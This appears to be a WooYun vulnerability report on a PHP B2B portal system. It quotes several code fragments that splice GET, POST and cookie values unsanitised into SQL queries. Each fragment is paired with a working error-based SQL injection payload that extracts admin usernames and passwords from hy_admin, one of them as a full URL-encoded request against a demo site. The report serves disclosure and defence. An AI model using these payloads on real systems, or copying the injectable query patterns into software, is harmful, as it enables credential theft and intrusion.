WooYun.org

<?php
$status=array('-1'=>lang_show('notpass'),'0'=>lang_show('wpass'),'1'=>lang_show('auditpass')); 
if(isset($_GET['step']))
{
	if($_GET['step']=="del")
	{
		$db->query("delete from ".CERTIFICATION." where id='$_GET[deid]'");
		$sql="update ".COMPANY." set certification='0' where company_id in (select company_id from ".CERTIFICATION." where id='$_GET[deid]')";
		$db->query($sql);
	}
}
if(isset($_POST['del']))
{
	$ids=implode(",",$_POST['del']);
	$sql="update  ".CERTIFICATION." set statu=1 where id in ($ids)";
	$db->query($sql);
	
	$sql="update ".COMPANY." set certification='1' where company_id in (select company_id from ".CERTIFICATION." where id in ($ids))";
	$db->query($sql);
}
?>

del[]=1) or updatexml(2,concat(0x7e,((select group_concat(user,0x5e,password) from hy_admin))),0) %23&updateID=11&cc=1111

if(!empty($_POST["cat"])&&!empty($_GET["id"]))
{	
	$ext_table=$config['table_pre'].'defind_'.$_POST['ext_field_cat'];
	$_POST['ext_field_cat']*=1;
	
	if($_POST['pid']!=0)
	{
		if($_POST["pid"]!==substr($_GET['id'],0,strlen($_GET['id'])-2))
		{
			$s=$_POST["pid"]."00";
			$b=$_POST["pid"]."99";
			$sql="select max(catid) as catid from $cat_table where catid>$s and catid<$b";
			$db->query($sql);
			$re=$db->fetchRow();
			$id=$re["catid"];
			if(!$id)
				$id=$_POST["pid"]."01";
			else
				$id=$id+1;
		}
		else
			$id=$_GET['id'];
		//编辑当前类别信息
		$sql="update $cat_table set catid='$id', cat='".$_POST['cat']."',isindex='".$isindex."' 
			,pic='$_POST[pic]',brand='$_POST[brand]',ext_table='$ext_table',ext_field_cat='$_POST[ext_field_cat]',template='$_POST[template]' where catid='".$_GET['id']."'";
		$re=$db->query($sql);
		//如果当前类别下面带有子类别把子类别一起移过去
		$s=$_GET['id']."00";
		$b=$_GET['id']."99";
		$sql="update $cat_table set catid=replace(catid,$_GET[id],$id) where catid>=$s and catid<=$b";
		$re=$db->query($sql);
	}

cat=1&pid=1  or updatexml(2,concat(0x7e,((select group_concat(user,0x5e,password) from hy_admin))),0) %23

if(!empty($_GET['tid'])&&is_array($_GET['tid']))
	$tid=implode(',',$_GET['tid']);
elseif(!empty($_GET['tid']))
	$tid=$_GET['tid'];
if(!empty($tid))
{
	$sql="select id,title from ".INFO." WHERE id in ($tid)";
	$db->query($sql);
	$res=$db->getRows();
	$tpl->assign("res",$res);
	$tpl->assign("tid",$tid);
}

http://democn.b2b-builder.com/main.php?m=company&s=space_mail&tid=%31%29%20%6F%72%20%75%70%64%61%74%65%78%6D%6C%28%32%2C%63%6F%6E%63%61%74%28%30%78%37%65%2C%28%28%73%65%6C%65%63%74%20%67%72%6F%75%70%5F%63%6F%6E%63%61%74%28%75%73%65%72%2C%30%78%35%65%2C%70%61%73%73%77%6F%72%64%29%20%66%72%6F%6D%20%68%79%5F%61%64%6D%69%6E%29%29%29%2C%30%29%20%23

if(!empty($_COOKIE['com_inquery']))
{
	$sql="select company,ctype as subject,admin as userid from ".COMPANY." where admin in ($_COOKIE[com_inquery])";  //注入4
	$db->query($sql);
	$re=$db->getRows();
	$tpl->assign("comlist",$re);
}
if(!empty($_COOKIE['offer_inquery']))
{
	$offers=explode(",",$_COOKIE['offer_inquery']);
	foreach($offers as $v)
	{
		if(!empty($v))
		{
			$offer_array[]=$v*1;
		}
	}
	if($offer_array)
	{
		$offers=implode(",",$offer_array);
		
		$sql="select company,title as subject,userid,id from ".INFO." b where b.id in($offers)";  //注入5
		$db->query($sql);
		$re=$db->getRows();
		$tpl->assign("infolist",$re);
	}
}

1) or updatexml(2,concat(0x7e,((select group_concat(user,0x5e,password) from hy_admin))),0) %23